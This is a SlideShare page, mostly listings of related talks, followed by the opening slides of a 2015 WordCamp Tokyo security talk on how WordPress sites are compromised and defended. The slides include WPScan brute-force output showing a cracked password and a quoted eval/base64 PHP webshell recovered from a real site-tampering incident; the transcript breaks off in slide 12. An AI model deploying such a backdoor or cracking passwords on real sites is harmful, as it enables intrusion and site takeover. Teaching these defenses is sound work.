Submit Search
Upload
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
•
88 likes
•
33,117 views
Hiroshi Tokumaru
Follow
Wordcamp Tokyo 2015における講演資料です。一部追記しました。
Read less
Read more
Technology
Report
Share
Report
Share
1 of 53
Recommended
思考停止しないアーキテクチャ設計 ➖ JJUG CCC 2018 Fall
思考停止しないアーキテクチャ設計 ➖ JJUG CCC 2018 Fall
Yoshitaka Kawashima
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
ゴシッププロトコルによる冗長化と負荷分散の検証
ゴシッププロトコルによる冗長化と負荷分散の検証
Sugawara Genki
ブルックスのいう銀の弾丸とは何か?
ブルックスのいう銀の弾丸とは何か?
Yoshitaka Kawashima
イベント・ソーシングを知る
イベント・ソーシングを知る
Shuhei Fujita
実践イカパケット解析α
実践イカパケット解析α
Yuki Mizuno
実践イカパケット解析
実践イカパケット解析
Yuki Mizuno
ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』
Yoshitaka Kawashima
Recommended
思考停止しないアーキテクチャ設計 ➖ JJUG CCC 2018 Fall
思考停止しないアーキテクチャ設計 ➖ JJUG CCC 2018 Fall
Yoshitaka Kawashima
文字コードに起因する脆弱性とその対策(増補版)
文字コードに起因する脆弱性とその対策(増補版)
Hiroshi Tokumaru
ゴシッププロトコルによる冗長化と負荷分散の検証
ゴシッププロトコルによる冗長化と負荷分散の検証
Sugawara Genki
ブルックスのいう銀の弾丸とは何か?
ブルックスのいう銀の弾丸とは何か?
Yoshitaka Kawashima
イベント・ソーシングを知る
イベント・ソーシングを知る
Shuhei Fujita
実践イカパケット解析α
実践イカパケット解析α
Yuki Mizuno
実践イカパケット解析
実践イカパケット解析
Yuki Mizuno
ソフトウェア開発における『知の高速道路』
ソフトウェア開発における『知の高速道路』
Yoshitaka Kawashima
Docker Tokyo
Docker Tokyo
cyberblack28 Ichikawa
私にとってのテスト
私にとってのテスト
Takuto Wada
Azure Search 大全
Azure Search 大全
Daiyu Hatakeyama
シリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのか
Atsushi Nakada
組織にテストを書く文化を根付かせる戦略と戦術
組織にテストを書く文化を根付かせる戦略と戦術
Takuto Wada
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
ota42y
Where狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキー
yoku0825
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
Takuto Wada
開発速度が速い #とは(LayerX社内資料)
開発速度が速い #とは(LayerX社内資料)
mosa siru
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
Takuto Wada
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
Takafumi ONAKA
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
KafkaとPulsar
KafkaとPulsar
Yahoo!デベロッパーネットワーク
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
Kaname Motoyama
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
A AOKI
MySQLで論理削除と正しく付き合う方法
MySQLで論理削除と正しく付き合う方法
yoku0825
概念モデリング再入門 + DDD
概念モデリング再入門 + DDD
Hiroshima JUG
Twitterのsnowflakeについて
Twitterのsnowflakeについて
moai kids
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
zaki4649
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
Toshi Aizawa
What's new in WordPress 4.4 (For Demo)
What's new in WordPress 4.4 (For Demo)
Daisuke Takahashi
More Related Content
What's hot
Docker Tokyo
Docker Tokyo
cyberblack28 Ichikawa
私にとってのテスト
私にとってのテスト
Takuto Wada
Azure Search 大全
Azure Search 大全
Daiyu Hatakeyama
シリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのか
Atsushi Nakada
組織にテストを書く文化を根付かせる戦略と戦術
組織にテストを書く文化を根付かせる戦略と戦術
Takuto Wada
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
ota42y
Where狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキー
yoku0825
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
Takuto Wada
開発速度が速い #とは(LayerX社内資料)
開発速度が速い #とは(LayerX社内資料)
mosa siru
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
Itsuki Kuroda
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
Takuto Wada
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
Takafumi ONAKA
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
zaki4649
KafkaとPulsar
KafkaとPulsar
Yahoo!デベロッパーネットワーク
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
Kaname Motoyama
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
A AOKI
MySQLで論理削除と正しく付き合う方法
MySQLで論理削除と正しく付き合う方法
yoku0825
概念モデリング再入門 + DDD
概念モデリング再入門 + DDD
Hiroshima JUG
Twitterのsnowflakeについて
Twitterのsnowflakeについて
moai kids
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
zaki4649
What's hot
(20)
Docker Tokyo
Docker Tokyo
私にとってのテスト
私にとってのテスト
Azure Search 大全
Azure Search 大全
シリコンバレーの「何が」凄いのか
シリコンバレーの「何が」凄いのか
組織にテストを書く文化を根付かせる戦略と戦術
組織にテストを書く文化を根付かせる戦略と戦術
マイクロサービスにおける 結果整合性との戦い
マイクロサービスにおける 結果整合性との戦い
Where狙いのキー、order by狙いのキー
Where狙いのキー、order by狙いのキー
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
SQLアンチパターン - 開発者を待ち受ける25の落とし穴 (拡大版)
開発速度が速い #とは(LayerX社内資料)
開発速度が速い #とは(LayerX社内資料)
フロー効率性とリソース効率性について #xpjug
フロー効率性とリソース効率性について #xpjug
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
SQLアンチパターン 幻の第26章「とりあえず削除フラグ」
エンジニアの個人ブランディングと技術組織
エンジニアの個人ブランディングと技術組織
とある診断員とSQLインジェクション
とある診断員とSQLインジェクション
KafkaとPulsar
KafkaとPulsar
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
JJUGCCC2022spring_連続画像処理による位置情報計算を支えるマイクロサービスアーキテクチャ
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
「実践ドメイン駆動設計」 から理解するDDD (2018年11月)
MySQLで論理削除と正しく付き合う方法
MySQLで論理削除と正しく付き合う方法
概念モデリング再入門 + DDD
概念モデリング再入門 + DDD
Twitterのsnowflakeについて
Twitterのsnowflakeについて
とある診断員と色々厄介な脆弱性達
とある診断員と色々厄介な脆弱性達
Viewers also liked
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
Toshi Aizawa
What's new in WordPress 4.4 (For Demo)
What's new in WordPress 4.4 (For Demo)
Daisuke Takahashi
Why We Should Choose Free Plugins
Why We Should Choose Free Plugins
Takayuki Miyoshi
WordCamp Tokyo 2015 リアルフォーラム
WordCamp Tokyo 2015 リアルフォーラム
Hajime Ogushi
WordCamp2015 WordPressで自分の名前でドメイン取って ブログ作るとこまで 面倒みるワークショップ
WordCamp2015 WordPressで自分の名前でドメイン取って ブログ作るとこまで 面倒みるワークショップ
Sho Shirasaka
WordCamp2015 LT WordPress+VPSでつくられたWebサイトのセキュリティチェックポイントとWordPressの「Waltiプラグイ...
WordCamp2015 LT WordPress+VPSでつくられたWebサイトのセキュリティチェックポイントとWordPressの「Waltiプラグイ...
Masanori Fujisaki
「なんとなく」の壁を越えよう! 〜自信を持ってWordPressを選択するためのヒント〜
「なんとなく」の壁を越えよう! 〜自信を持ってWordPressを選択するためのヒント〜
Naoko Takano
まだタスクランナー使っていないって本当(マジ)? 仕事に対する効率化意識向上のための gulp ハンズオン : Wordcamp tokyo 2015
まだタスクランナー使っていないって本当(マジ)? 仕事に対する効率化意識向上のための gulp ハンズオン : Wordcamp tokyo 2015
Hiromu Hasegawa
Hands on PhotoBlog App with WordPress REST API and App Inventor
Hands on PhotoBlog App with WordPress REST API and App Inventor
Hong Chen
The Best Practices of Making WordPress Site Multilingual
The Best Practices of Making WordPress Site Multilingual
Katz Ueno
WP REST API の活用事例と今後
WP REST API の活用事例と今後
Yuusuke Yoshida
WordPressと離島での図書館作り〜コントリビュートすることで働き方を選択する未来へ
WordPressと離島での図書館作り〜コントリビュートすることで働き方を選択する未来へ
Junko Nukaga
WordPress 使いのためのMicrosoft Azure 超入門
WordPress 使いのためのMicrosoft Azure 超入門
Masaki Takeda
モブログのすすめ – スマホを活用すれば読まれるWordPressが作れる in WordCamp 2015 Tokyo
モブログのすすめ – スマホを活用すれば読まれるWordPressが作れる in WordCamp 2015 Tokyo
isloop @wayohoo.com
マルチパブリッシング プラットフォームとしてのWordPress
マルチパブリッシング プラットフォームとしてのWordPress
文樹 高橋
var dumpを使わないWordPress開発フロー
var dumpを使わないWordPress開発フロー
優也 田島
GPL: WordPress 4つの自由と ビジネスモデル / WordCamp Tokyo 2015 講演スライド
GPL: WordPress 4つの自由と ビジネスモデル / WordCamp Tokyo 2015 講演スライド
Shinichi Nishikawa
WordPressで行う継続的インテグレーション入門編
WordPressで行う継続的インテグレーション入門編
Hiroshi Urabe
愛があれば発信できる!WordPressで作る焼き鳥ポータルサイト~公式テーマ・プラグインと子テーマの活用~|WordCamp Tokyo 2015
愛があれば発信できる!WordPressで作る焼き鳥ポータルサイト~公式テーマ・プラグインと子テーマの活用~|WordCamp Tokyo 2015
Yoshinori Kobayashi
コミュニティ立ち上げのときに本当にあった恐い話
コミュニティ立ち上げのときに本当にあった恐い話
Mio Konagaya
Viewers also liked
(20)
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
WordPress + Speed of CDN (WordCamp Tokyo 2015 LT)
What's new in WordPress 4.4 (For Demo)
What's new in WordPress 4.4 (For Demo)
Why We Should Choose Free Plugins
Why We Should Choose Free Plugins
WordCamp Tokyo 2015 リアルフォーラム
WordCamp Tokyo 2015 リアルフォーラム
WordCamp2015 WordPressで自分の名前でドメイン取って ブログ作るとこまで 面倒みるワークショップ
WordCamp2015 WordPressで自分の名前でドメイン取って ブログ作るとこまで 面倒みるワークショップ
WordCamp2015 LT WordPress+VPSでつくられたWebサイトのセキュリティチェックポイントとWordPressの「Waltiプラグイ...
WordCamp2015 LT WordPress+VPSでつくられたWebサイトのセキュリティチェックポイントとWordPressの「Waltiプラグイ...
「なんとなく」の壁を越えよう! 〜自信を持ってWordPressを選択するためのヒント〜
「なんとなく」の壁を越えよう! 〜自信を持ってWordPressを選択するためのヒント〜
まだタスクランナー使っていないって本当(マジ)? 仕事に対する効率化意識向上のための gulp ハンズオン : Wordcamp tokyo 2015
まだタスクランナー使っていないって本当(マジ)? 仕事に対する効率化意識向上のための gulp ハンズオン : Wordcamp tokyo 2015
Hands on PhotoBlog App with WordPress REST API and App Inventor
Hands on PhotoBlog App with WordPress REST API and App Inventor
The Best Practices of Making WordPress Site Multilingual
The Best Practices of Making WordPress Site Multilingual
WP REST API の活用事例と今後
WP REST API の活用事例と今後
WordPressと離島での図書館作り〜コントリビュートすることで働き方を選択する未来へ
WordPressと離島での図書館作り〜コントリビュートすることで働き方を選択する未来へ
WordPress 使いのためのMicrosoft Azure 超入門
WordPress 使いのためのMicrosoft Azure 超入門
モブログのすすめ – スマホを活用すれば読まれるWordPressが作れる in WordCamp 2015 Tokyo
モブログのすすめ – スマホを活用すれば読まれるWordPressが作れる in WordCamp 2015 Tokyo
マルチパブリッシング プラットフォームとしてのWordPress
マルチパブリッシング プラットフォームとしてのWordPress
var dumpを使わないWordPress開発フロー
var dumpを使わないWordPress開発フロー
GPL: WordPress 4つの自由と ビジネスモデル / WordCamp Tokyo 2015 講演スライド
GPL: WordPress 4つの自由と ビジネスモデル / WordCamp Tokyo 2015 講演スライド
WordPressで行う継続的インテグレーション入門編
WordPressで行う継続的インテグレーション入門編
愛があれば発信できる!WordPressで作る焼き鳥ポータルサイト~公式テーマ・プラグインと子テーマの活用~|WordCamp Tokyo 2015
愛があれば発信できる!WordPressで作る焼き鳥ポータルサイト~公式テーマ・プラグインと子テーマの活用~|WordCamp Tokyo 2015
コミュニティ立ち上げのときに本当にあった恐い話
コミュニティ立ち上げのときに本当にあった恐い話
Similar to Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
Hiroshi Tokumaru
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
Hiroshi Tokumaru
徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ
Hiroshi Tokumaru
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
Hiroshi Tokumaru
2017年のセキュリティ 傾向と対策講座
2017年のセキュリティ 傾向と対策講座
NHN テコラス株式会社
Microsoft azure上にwebサイトやアプリケーションを構築する方法 アドバンスド
Microsoft azure上にwebサイトやアプリケーションを構築する方法 アドバンスド
Kazumi Hirose
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
Hiroshi Tokumaru
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Hiroshi Tokumaru
Webシステム脆弱性LT資料
Webシステム脆弱性LT資料
Tomohito Adachi
かんたん Twitter アプリをつくろう
かんたん Twitter アプリをつくろう
Shuhei Iitsuka
WordPressとリスク管理 at 第42回 WordBench大阪
WordPressとリスク管理 at 第42回 WordBench大阪
Kitani Kimiya
hktstudy 201206 「私だってやれば出来る子!♥Multi-Mechanize♥」
hktstudy 201206 「私だってやれば出来る子!♥Multi-Mechanize♥」
Aya Komuro
ウェブから情報をあつめる
ウェブから情報をあつめる
Shuhei Iitsuka
20160125 power cms_cloud_public
20160125 power cms_cloud_public
Six Apart
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010
Hiroshi Tokumaru
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Hiroshi Tokumaru
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
JPCERT Coordination Center
AWS Black Belt Tech シリーズ 2015 - AWS CodeCommit & AWS CodePipeline & AWS CodeD...
AWS Black Belt Tech シリーズ 2015 - AWS CodeCommit & AWS CodePipeline & AWS CodeD...
Amazon Web Services Japan
【スカイアーチ】Webサイトを脆弱性攻撃から守る
【スカイアーチ】Webサイトを脆弱性攻撃から守る
株式会社スカイアーチネットワークス
Similar to Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
(20)
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2014
安全なPHPアプリケーションの作り方2016
安全なPHPアプリケーションの作り方2016
徳丸本に載っていないWebアプリケーションセキュリティ
徳丸本に載っていないWebアプリケーションセキュリティ
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
CMS四天王への攻撃デモを通じて、WordPressの効果的な防御法を学ぼう
2017年のセキュリティ 傾向と対策講座
2017年のセキュリティ 傾向と対策講座
Microsoft azure上にwebサイトやアプリケーションを構築する方法 アドバンスド
Microsoft azure上にwebサイトやアプリケーションを構築する方法 アドバンスド
ウェブアプリケーションセキュリティ超入門
ウェブアプリケーションセキュリティ超入門
SPAセキュリティ入門~PHP Conference Japan 2021
SPAセキュリティ入門~PHP Conference Japan 2021
Webシステム脆弱性LT資料
Webシステム脆弱性LT資料
かんたん Twitter アプリをつくろう
かんたん Twitter アプリをつくろう
WordPressとリスク管理 at 第42回 WordBench大阪
WordPressとリスク管理 at 第42回 WordBench大阪
hktstudy 201206 「私だってやれば出来る子!♥Multi-Mechanize♥」
hktstudy 201206 「私だってやれば出来る子!♥Multi-Mechanize♥」
ウェブから情報をあつめる
ウェブから情報をあつめる
20160125 power cms_cloud_public
20160125 power cms_cloud_public
今日こそわかる、安全なWebアプリの作り方2010
今日こそわかる、安全なWebアプリの作り方2010
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
著名PHPアプリの脆弱性に学ぶセキュアコーディングの原則
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
Spacewalkにおけるクロスサイト リクエストフォージェリ(CSRF)の脆弱性
AWS Black Belt Tech シリーズ 2015 - AWS CodeCommit & AWS CodePipeline & AWS CodeD...
AWS Black Belt Tech シリーズ 2015 - AWS CodeCommit & AWS CodePipeline & AWS CodeD...
【スカイアーチ】Webサイトを脆弱性攻撃から守る
【スカイアーチ】Webサイトを脆弱性攻撃から守る
More from Hiroshi Tokumaru
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
Hiroshi Tokumaru
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
Hiroshi Tokumaru
SQLインジェクション再考
SQLインジェクション再考
Hiroshi Tokumaru
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
Hiroshi Tokumaru
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
Hiroshi Tokumaru
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
Hiroshi Tokumaru
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
Hiroshi Tokumaru
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
Hiroshi Tokumaru
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Hiroshi Tokumaru
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
Hiroshi Tokumaru
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
Hiroshi Tokumaru
秀スクリプトの話
秀スクリプトの話
Hiroshi Tokumaru
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
Hiroshi Tokumaru
ウェブセキュリティの常識
ウェブセキュリティの常識
Hiroshi Tokumaru
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
Hiroshi Tokumaru
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
Hiroshi Tokumaru
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
Hiroshi Tokumaru
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
Hiroshi Tokumaru
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
Hiroshi Tokumaru
Phpcon2015
Phpcon2015
Hiroshi Tokumaru
More from Hiroshi Tokumaru
(20)
ウェブセキュリティのありがちな誤解を解説する
ウェブセキュリティのありがちな誤解を解説する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
脅威分析の手法によりウェブサーバーにウイルス対策ソフトが必要かを検証する
SQLインジェクション再考
SQLインジェクション再考
徳丸本VMに脆弱なWordPressを導入する
徳丸本VMに脆弱なWordPressを導入する
introduction to unsafe deserialization part1
introduction to unsafe deserialization part1
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
SSRF対策としてAmazonから発表されたIMDSv2の効果と破り方
XXE、SSRF、安全でないデシリアライゼーション入門
XXE、SSRF、安全でないデシリアライゼーション入門
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
ウェブ・セキュリティ基礎試験(徳丸基礎試験)の模擬試験問題
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
オニギリペイのセキュリティ事故に学ぶ安全なサービスの構築法 (PHPカンファレンス2019)
Railsエンジニアのためのウェブセキュリティ入門
Railsエンジニアのためのウェブセキュリティ入門
安全なWebアプリケーションの作り方2018
安全なWebアプリケーションの作り方2018
秀スクリプトの話
秀スクリプトの話
若手エンジニアのためのセキュリティ講座
若手エンジニアのためのセキュリティ講座
ウェブセキュリティの常識
ウェブセキュリティの常識
ウェブセキュリティの最近の話題早分かり
ウェブセキュリティの最近の話題早分かり
セキュリティの都市伝説を暴く
セキュリティの都市伝説を暴く
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
『例えば、PHPを避ける』以降PHPはどれだけ安全になったか
セキュアコーディング方法論再構築の試み
セキュアコーディング方法論再構築の試み
Phpcon2015
Phpcon2015
Recently uploaded
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
sugiuralab
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
Toru Tamaki
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
Hiroki Ichikura
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
iPride Co., Ltd.
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
Toru Tamaki
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
Toru Tamaki
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
taisei2219
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Yuma Ohgami
Recently uploaded
(8)
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
TataPixel: 畳の異方性を利用した切り替え可能なディスプレイの提案
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
論文紹介:Content-Aware Token Sharing for Efficient Semantic Segmentation With Vis...
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
【早稲田AI研究会 講義資料】3DスキャンとTextTo3Dのツールを知ろう!(Vol.1)
SOPを理解する 2024/04/19 の勉強会で発表されたものです
SOPを理解する 2024/04/19 の勉強会で発表されたものです
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Semantic segmentation using Vision Transformers: A survey
論文紹介:Automated Classification of Model Errors on ImageNet
論文紹介:Automated Classification of Model Errors on ImageNet
TSAL operation mechanism and circuit diagram.pdf
TSAL operation mechanism and circuit diagram.pdf
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Open Source UN-Conference 2024 Kawagoe - 独自OS「DaisyOS GB」の紹介
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
1.
Webサイトをめぐるセキュリティ状況と効果的な防御方法 ~WordPressを題材として~ 2015年10月31日 HASH コンサルティング株式会社 代表取締役 徳丸
浩
2.
アジェンダ • Webサイトへの侵入経路とは • 怒涛のWordPressサイトへの侵入デモ6連発 –
パスワードクラック – PHPの脆弱性に対する攻撃 – プラグイン脆弱性に対する攻撃 – シンボリックリンク攻撃 – SQLインジェクション攻撃 – JSON HashDos • 対策の考え方 2 Copyright © 2012-2015 HASH Consulting Corp.
3.
徳丸浩の自己紹介 • 経歴 – 1985年
京セラ株式会社入社 – 1995年 京セラコミュニケーションシステム株式会社(KCCS)に出向・転籍 – 2008年 KCCS退職、HASHコンサルティング株式会社設立 • 経験したこと – 京セラ入社当時はCAD、計算幾何学、数値シミュレーションなどを担当 – その後、企業向けパッケージソフトの企画・開発・事業化を担当 – 1999年から、携帯電話向けインフラ、プラットフォームの企画・開発を担当 Webアプリケーションのセキュリティ問題に直面、研究、社内展開、寄稿などを開始 – 2004年にKCCS社内ベンチャーとしてWebアプリケーションセキュリティ事業を立ち上げ • 現在 – HASHコンサルティング株式会社 代表 http://www.hash-c.co.jp/ – 独立行政法人情報処理推進機構 非常勤研究員 http://www.ipa.go.jp/security/ – 著書「体系的に学ぶ 安全なWebアプリケーションの作り方」(2011年3月) – 技術士(情報工学部門) – 社員募集中 Copyright © 2012-2015 HASH Consulting Corp. 3
4.
Webサイトへの侵入経路は2種類しかない • 管理用ツールの認証を突破される – telnet,
FTP, SSH等のパスワードを推測される – FTP等のパスワードがマルウェア経由で漏洩する • ソフトウェアの脆弱性を悪用される – 基盤ソフトウェアの脆弱性を悪用される • Apache, PHP, JRE(Java), Tomcat, … • 脆弱性は世界中で調査され、日々新たな脆弱性が報告さ れる – アプリケーションの脆弱性を悪用される • 個別のアプリケーションの脆弱性 • SQLインジェクションなど Copyright © 2012-2015 HASH Consulting Corp. 4
5.
WordPressの場合の主な侵入経路 • 管理用ツールの認証を突破される – WordPressのパスワードを推測される –
FTP等のパスワードがマルウェア経由で漏洩する • PHPの脆弱性 • WordPress本体の脆弱性 • WordPressのプラグインの脆弱性 • カスタマイズ部分の脆弱性 Copyright © 2012-2015 HASH Consulting Corp. 5 今日は全部 やってみます
6.
攻撃を受けるとどうなるか? • 情報漏洩 – サーバー内の重要情報、個人情報等が外部に漏洩する –
Aさんの情報をBさんが見てしまう事故(別人問題)も漏洩に分 類する • データ改ざん – DB、ファイルの書き換え、 – 画面の改変 – スクリプトやiframeを埋め込み、閲覧者がマルウェアに感染 • DoS攻撃 – サービス停止に追い込む • なりすまし – 別人になりすまして操作ができる Copyright © 2012-2015 HASH Consulting Corp. 6 今日は全部 やってみます
7.
管理用ツールの認証を突破される • WordPressのパスワードを推測される Copyright ©
2012-2015 HASH Consulting Corp. 7
8.
定番ツールWPScanでクラックしてみよう Copyright © 2012-2015
HASH Consulting Corp. 8 http://wpscan.org/
9.
Copyright © 2012-2015
HASH Consulting Corp. 9 デモ: • WPScanによるパスワードクラック [!] Default first WordPress username 'admin' is still used [+] Starting the password brute forcer Brute Forcing 'admin' Time: 00:00:11 <====== > (49 / 51) 96.07% Brute Forcing 'yamada' Time: 00:00:07 <===== > (50 / 51) 98.03% [+] [SUCCESS] Login : yamada Password : tigger +----+--------+------+----------+ | Id | Login | Name | Password | +----+--------+------+----------+ | 1 | admin | | | | 4 | yamada | | tigger | +----+--------+------+----------+
10.
PHPの脆弱性 Copyright © 2012-2015
HASH Consulting Corp. 10
11.
ロリポップのサイト改ざん事件(1) あるサイトの.htaccessが改ざんされていました。 【元】 AddHandler application/x-httpd-php .html 【改ざん】 AddHandler
application/x-httpd-php .png →「pngファイルをphpととして読み込む」的なもの? そして.htaccessと同じ階層に、「.****.png」という不可解なファイル。 それをファイルとして開いてみると <?php ($_=$_POST).($_1=’_').($_4=$$_1).($_4=$_4[$_1]).($_4($$_1)).eval(base64_decode($_4($$_1)));?> というコードが記載。なにこれこわい。 ※あとファイル更新時間でソートをかけたらindex.bak.phpみたいなファイルがありました(消してしまったのでうろ覚 え)。 11http://www.baka-ke.com/2012/05/16/htaccess-kaizan-png-eval/ より引用
12.
ロリポップのサイト改ざん事件(2) .htaccess改ざんの件、恐らく完結 .htaccess改ざんの件についての続きです。原因が特定され、解決しているかと思います。 これまでの記事: .htaccessの改ざんを受けていた .htaccess改ざんの件、続き パシ様のブログにて、CGI版PHPの脆弱性ではないかという指摘が出ていました。 WordPressサイトの.htaccessが改ざんされている件 – 謎のindex.bak.php
